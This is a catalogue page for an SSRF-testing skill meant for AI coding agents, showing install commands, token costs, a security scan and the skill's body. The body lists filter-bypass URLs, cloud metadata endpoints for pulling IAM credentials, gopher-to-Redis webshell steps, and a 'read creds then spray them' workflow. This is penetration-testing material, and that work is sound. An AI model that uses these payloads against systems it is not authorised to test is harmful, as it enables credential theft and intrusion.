web-ssrf

A guide to finding Server-Side Request Forgery (SSRF), a web flaw where a server can be tricked into requesting addresses chosen by a user. It covers confirming whether the server can reach internal systems and showing the resulting impact.

In plain words
What is it for?
Testing webhooks, image or PDF fetchers, link previews, URL imports, SSO redirects, XML/SVG parsing, and image proxies for SSRF.
Why use it?
It helps uncover internal network access that may be hidden from the outside and checks whether URL filters can be bypassed. This reduces guesswork when testing features that fetch remote content.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/s0ld13rr/pentestcode/ssrf
Any agent
npx skills add s0ld13rr/pentestcode --skill ssrf
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Per session 91 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 749 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00091 $0.00749
Opus 5 $0.00046 $0.00375
Sonnet 5 $0.00018 $0.00150
Haiku 4.5 $0.00009 $0.00075

Measured 2d ago against content hash 751d7cc162c0, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

web-ssrf scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1
skills/web/ssrf/SKILL.md · 43 lines

How it starts

The opening of the file, as written. The whole thing — 43 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Server-Side Request Forgery (SSRF)

When this fires

The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js /_next/image), XML/SVG parsers.

Detect

Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:

# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site   # then watch for the server-sourced hit

Compare internal vs external: http://127.0.0.1:<port> / http://localhost responses vs a dead port (differential = internal reachability).

Decide — filter bypass

  • Blocklist of 127.0.0.1/localhosthttp://127.1, http://0, http://[::1], http://2130706433 (decimal), http://0x7f000001, http://127.0.0.1.nip.io.
  • Allowlist/parser confusion → http://allowed@evil, http://evil#allowed, http://allowed.evil.com, CR/LF + @, or a redirect you control (302 → internal).
  • Scheme filter → gopher:// (raw TCP → Redis/SMTP/internal HTTP), file://, dict://.

Exploit → PROVE IMPACT

# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/      # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/  (Header Metadata-Flavor: Google)  # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  (Header Metadata:true)  # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing

Proof required: exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags ssrf; interactsh/collaborator for OOB; gopherus to craft gopher payloads.

False positives / pitfalls

  • Client-side fetch (the BROWSER requests it) = not SSRF.
  • WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
  • Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.

Read the full file on GitHub · 43 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 43 lines · 91 tokens per session scan C 751d7cc162c0

Subscribe to this mod's changes

web-ssrf is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 91 tokens to every session and 749 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.